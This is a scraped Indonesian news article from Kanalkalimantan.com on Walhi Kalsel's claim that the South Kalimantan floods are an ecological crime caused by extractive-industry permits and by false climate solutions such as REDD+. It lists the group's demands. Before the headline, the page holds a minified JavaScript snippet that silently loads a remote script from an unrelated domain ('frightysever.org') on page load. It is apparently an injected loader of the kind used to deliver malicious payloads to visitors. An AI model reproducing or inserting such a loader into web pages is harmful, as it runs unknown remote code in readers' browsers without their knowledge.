(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kalsel Banjir Besar, Kejahatan Ekologis dari Pemangku Kebijakan


KANALKALIMANTAN.COM, BANJARBARU – Banjir besar kembali melanda sejumlah wilayah di Kalimantan Selatan (Kalsel).

Wahana Lingkungan Hidup (Walhi) Kalsel menegaskan hal tersebut bukanlah bencana alam, melainkan kejahatan ekologis yang dibuat pemangku kebijakan.

Semua itu lahir dari gagalnya kebijakan tata kelola lingkungan oleh negara, kegagalan mitigasi bencana, kerakusan korporasi, serta pengabaian sistematis terhadap kerusakan lingkungan.

Di samping krisis iklim global, dampak yang dialami Kalsel berlipat ganda disebabkan kehancuran ekosistem akibat industri ekstraktif yang diberi izin oleh negara.

Baca juga: Sertijab Camat Mantangai Berlangsung Khidmat

Curah hujan tinggi hanya pemicu, tapi akar masalahnya berasal dari rusaknya daya dukung dan daya tampung lingkungan akibat deforestasi, tambang, perkebunan monokultur skala besar, dan Perizinan Berusaha Pemanfaatan Hutan (PBPH).

Krisis Diperparah oleh Kebijakan Eksploitatif Negara

Walhi Kalsel memandang pemerintah Prabowo-Gibran tidak menunjukkan komitmen dalam penyelamatan lingkungan hidup. Sebaliknya, berbagai kebijakan atas nama pembangunan, pangan, energi, dan pertahanan justru mempercepat perampasan ruang hidup rakyat dan memperdalam krisis ekologis.

Di tingkat internasional, pertemuan iklim seperti Conference of the Parties (COP), termasuk COP 30 di Brasil, gagal total menjawab krisis iklim. Kesepakatan yang dihasilkan tidak menyentuh sumber emisi dan perusakan, melainkan hanya memoles wajah kapitalisme hijau melalui berbagai skema solusi palsu.

Solusi palsu yang ditawarkan di Kalsel adalah program REDD+ dan perdagangan karbon yang tidak jadi solusi tetapi bagian dari masalah.

Baca juga: Lirik dan Chord Lagu Perawan Kalimantan (Karindangan) by Didi Kempot Beserta Terjemahannya

Pasalnya, REDD+ memberi ruang bagi negara maju dan korporasi perusak lingkungan untuk terus mencemari dan merusak wilayah lain, sambil mengklaim pengurangan emisi dari hutan yang pada kenyataannya sudah lama dijaga oleh masyarakat adat dan lokal. Tanpa REDD+ sekalipun, hutan-hutan rakyat telah berfungsi sebagai penyerap karbon alami.

Walhi Kalsel menekankan kerusakan lingkungan tidak bisa dibayar dengan sertifikat karbon. Seharusnya, pelaku kerusakan memulihkan lokasi kerusakan, bukan malah melempar tanggung jawab ke wilayah lain dengan mengorbankan ruang hidup masyarakat.

 

Kalsel Darurat Ekologis

Catatan akhir tahun WALHI Kalsel menunjukkan, kondisi lingkungan Kalsel telah melampaui batas aman. Hal itu dikarenakan 1,9 juta hektare dari 3,7 juta hektare total luas wilayah Kalsel atau setara 51,57% telah dikuasai dan dibebani izin industri ekstraktif.

Baca juga: Rest Area Disbunnak Kalsel Bagikan 25 Ribu Paket Konsumsi Momen 5 Rajab

Luasan yang hampir setara 29 kalau luas DKI Jakarta ini menggambarkan skala perampasan ruang hidup yang masif dan brutal. Saat ini, Kalsel hanya memiliki 49.958 hektare sisa tutupan hutan primer, angka ini sangat timpang dibandingkan luas konsesi tambang, sawit, dan kehutanan.

Pemerintah Sibuk Mengelola Dampak, Bukan Menghentikan Penyebab

Sampai sekarang, pemerintah hanya bisa melakukan penanggulangan bencana, distribusi bantuan, normalisasi sungai, tanpa berani menyentuh permasalahan utamanya. Evaluasi dan pencabutan izin industri ekstraktif selalu ditunda, seakan negara menunggu korban jatuh lebih banyak baru bertindak.

Hal ini diperparah ketika pemerintah enggan menetapkan status bencana yang layak dalam peristiwa bencana ekologis. Akibatnya, masyarakat kehilangan hak atas pemulihan, perlindungan, dan keadilan pascabencana.

Baca juga: Jemaah Diprediksi Lebih Banyak, Banjir Bikin Lalu Lintas Lebih Lama Terurai

Tindakan Tegas Aparat yang Lamban dalam Sektor Ekstraktif

Lambatnya tindakan aparat dalam sektor ekstraktif ilegal menyebabkan banyaknya eksploitasi dan kerusakan. Walhi Kalsel menilai, Aparat Penegak Hukum (APH) harusnya bertindak tegas, cepat, dan tepat, bukannya lamban dan terkesan nirinisiatif dalam penindakan.

Tuntutan Walhi Kalsel

  1. Hentikan seluruh perluasan dan operasi industri ekstraktif yang merusak lingkungan di Kalimantan Selatan.
  2. Evaluasi dan cabut izin-izin bermasalah tanpa menunggu bencana dan korban jiwa.
  3. Hentikan program solusi palsu krisis iklim, termasuk REDD+ dan perdagangan karbon yang mengorbankan masyarakat dan menutupi kejahatan ekologis.
  4. Pulihkan lingkungan berbasis keadilan ekologis dan pengakuan wilayah kelola rakyat.
  5. Penegakan hukum yang tegas pada perusak lingkungan.

Baca juga: Penyekatan di Tugu Adipura Banjarbaru, Jemaah Terkonsentrasi dari Bundaran hingga Lapangan Murdjani

Dengan demikian, banjir di Kalsel merupakan alarm keras yang memperlihatkan pahitnya krisis ekologis. Bencana akan terus diproduksi dan rakyat terus jadi korban selama negara masih berpihak terhadap korporasi dan berlindung di balik solusi palsu. (Kanalkalimantan.com/fahmi)

Reporter: fahmi
Editor: bie


Risa

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

37 menit ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

6 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

6 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

24 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.